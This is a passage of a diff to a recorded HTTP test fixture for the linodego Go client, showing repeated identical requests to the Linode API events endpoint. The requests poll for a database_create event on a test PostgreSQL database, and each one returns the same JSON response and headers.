Access-Control-Allow-Credentials: - "true" @@ -8327,14 +9039,3841 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "468" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 17:18:11 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T16:45:40"},"entity.id":133345,"entity.type":"database","id":{"+gte":755284949}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755284949, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133345, "type": "database", "url": + "/v4/databases/postgresql/instances/133345"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "468" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 17:18:26 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T16:45:40"},"entity.id":133345,"entity.type":"database","id":{"+gte":755284949}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755284949, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133345, "type": "database", "url": + "/v4/databases/postgresql/instances/133345"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "468" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 17:18:41 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T16:45:40"},"entity.id":133345,"entity.type":"database","id":{"+gte":755284949}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755284949, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133345, "type": "database", "url": + "/v4/databases/postgresql/instances/133345"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "468" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 17:18:56 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T16:45:40"},"entity.id":133345,"entity.type":"database","id":{"+gte":755284949}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755284949, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133345, "type": "database", "url": + "/v4/databases/postgresql/instances/133345"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "468" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 17:19:11 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T16:45:40"},"entity.id":133345,"entity.type":"database","id":{"+gte":755284949}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755284949, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133345, "type": "database", "url": + "/v4/databases/postgresql/instances/133345"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "468" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 17:19:26 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T16:45:40"},"entity.id":133345,"entity.type":"database","id":{"+gte":755284949}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755284949, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133345, "type": "database", "url": + "/v4/databases/postgresql/instances/133345"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "468" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 17:19:41 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T16:45:40"},"entity.id":133345,"entity.type":"database","id":{"+gte":755284949}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755284949, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133345, "type": "database", "url": + "/v4/databases/postgresql/instances/133345"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "468" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 17:19:56 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T16:45:40"},"entity.id":133345,"entity.type":"database","id":{"+gte":755284949}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755284949, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133345, "type": "database", "url": + "/v4/databases/postgresql/instances/133345"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "468" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 17:20:11 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T16:45:40"},"entity.id":133345,"entity.type":"database","id":{"+gte":755284949}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755284949, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133345, "type": "database", "url": + "/v4/databases/postgresql/instances/133345"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "468" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 17:20:26 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T16:45:40"},"entity.id":133345,"entity.type":"database","id":{"+gte":755284949}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755284949, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133345, "type": "database", "url": + "/v4/databases/postgresql/instances/133345"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "468" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 17:20:41 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T16:45:40"},"entity.id":133345,"entity.type":"database","id":{"+gte":755284949}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755284949, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133345, "type": "database", "url": + "/v4/databases/postgresql/instances/133345"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "468" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 17:20:56 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T16:45:40"},"entity.id":133345,"entity.type":"database","id":{"+gte":755284949}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755284949, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133345, "type": "database", "url": + "/v4/databases/postgresql/instances/133345"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "468" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 17:21:11 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T16:45:40"},"entity.id":133345,"entity.type":"database","id":{"+gte":755284949}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755284949, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133345, "type": "database", "url": + "/v4/databases/postgresql/instances/133345"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "468" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 17:21:26 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T16:45:40"},"entity.id":133345,"entity.type":"database","id":{"+gte":755284949}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755284949, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133345, "type": "database", "url": + "/v4/databases/postgresql/instances/133345"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "468" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 17:21:41 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T16:45:40"},"entity.id":133345,"entity.type":"database","id":{"+gte":755284949}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755284949, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133345, "type": "database", "url": + "/v4/databases/postgresql/instances/133345"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "468" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 17:21:56 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T16:45:40"},"entity.id":133345,"entity.type":"database","id":{"+gte":755284949}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755284949, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133345, "type": "database", "url": + "/v4/databases/postgresql/instances/133345"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "468" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 17:22:11 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T16:45:40"},"entity.id":133345,"entity.type":"database","id":{"+gte":755284949}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755284949, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": 